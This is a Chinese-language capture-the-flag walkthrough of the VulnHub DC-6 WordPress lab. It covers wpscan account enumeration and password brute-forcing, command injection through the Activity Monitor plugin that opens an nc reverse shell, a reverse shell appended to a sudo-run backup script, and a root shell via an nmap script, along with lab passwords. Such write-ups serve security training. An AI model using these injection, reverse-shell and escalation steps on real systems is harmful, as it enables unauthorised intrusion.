靶机地址:https://www.vulnhub.com/entry/dc-6,315/
靶机难度:中级(CTF)
靶机发布日期:2019年4月26日
靶机描述:
DC-6是基于Debian 64位构建的VirtualBox VM,但是在大多数PC上运行它应该没有任何问题。我已经在VMWare Player上对此进行了测试,但是如果在VMware中运行此VM时遇到任何问题,请通读此书。当前已将其配置为桥接网络,但是,可以根据您的要求进行更改。为DHCP配置了网络。安装非常简单-下载它,解压缩,然后将其导入VirtualBox或VMWare,然后就可以使用了。
注意:您将需要在渗透测试设备上编辑主机文件,以使其读取如下内容:
192.168.0.142 wordy
注意:我以192.168.0.142为例。您需要使用常规方法确定VM的IP地址,并进行相应的调整。
这个非常重要。
是的,这是另一个基于WordPress的VM(尽管只有我的第二个)
目标:得到root权限&找到flag.txt
作者:DRX嗯嗯呐
信息收集
nmap扫描靶机IP
根据提示配置kail机上hosts文件
nmap端口扫描
访问域名80端口
又是一个wordpress框架,先用dirb爆破
再使用wpscan枚举一下账号
wpscan –url ‘http://wordy/‘ –api-token ‘API’ –enumerate u
继续使用wpscan爆破一下密码
首先根据作者提示,缩小密码的范围
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
使用wpscan爆破密码
wpscan –url ‘http://wordy/‘ –api-token ‘API’ -U wordpressusers.txt -P passwords.txt
mark / helpdesk01
WordPress Activity monitor 远程代码执行
访问前面dirb扫描目录登陆账号
发现Activity monitor插件存在一个远程代码执行漏洞
在kail上也找到了
看一下html
我们可以看到是在tools模块下,填写IP表单,点击lookup提交实现远程代码执行的
测试一下看看
远程代码执行成功
看看可不可以直接使用nc -e获得远程shell
因为输入限制,我们通过F12直接将我们想要输入的命令输入到html界面中,提交获得shell。
google.fr| nc -e /bin/bash 192.168.16.143 1234
提权
登陆靶机,查看home目录下每个文件
在jens目录下看到一个备份脚本,进去查看发现脚本内容为压缩html目录,同时这个文件的拥有者和用户所属组具(devs)备修改权限。
看一个这个用户所属组的信息,发现此用户组有两个用户
cat /etc/group
在回去看home下的文件,发现在mark目录下有个txt文件
看一下文件内容
内容大概:添加新用户graham,GSo7isUM1D4可能是密码,登陆测试成功
graham/GSo7isUM1D4
检查发现具备sudo权限,是上面的备份脚本
因为graham为devs用户组,用户组对backups.sh文件具备修改权限,直接在backups.sh文件中新增一个nc反弹shell。
echo ‘nc -e /bin/bash 192.168.16.143 9999’ >> backups.sh
在kail上监听9999端口,sudo启动backups.sh脚本,获得jens权限
sudo -u jens ./backups.sh
检查jens用户,发现nmap命令允许以root身份运行sudo
使用sudo提权,获得root权限
TF=$(mktemp)
echo ‘os.execute(“/bin/sh”)’ > $TF
sudo nmap –script=$TF
获得flag
完成!!!
总结
1、nmap扫描靶机IP,根据作者提示,配置hosts文件,访问80端口,使用wpscan爆破wordpress账号密码。
2、登陆wordpress利用Activity monitor插件存在的远程代码执行漏洞,获得www-data权限,在mark目录下找到graham用户的密码,登陆。
3、因为graham和jens用户在同一用户组中,修改backups.sh脚本,使用sudo提权,获得jens权限。
4、在jens用户中利用nmap命令可以以root权限运行sudo,提权获得root权限。
来源:freebuf.com 2021-01-22 11:28:29 by: DXR嗯嗯呐
请登录后发表评论
注册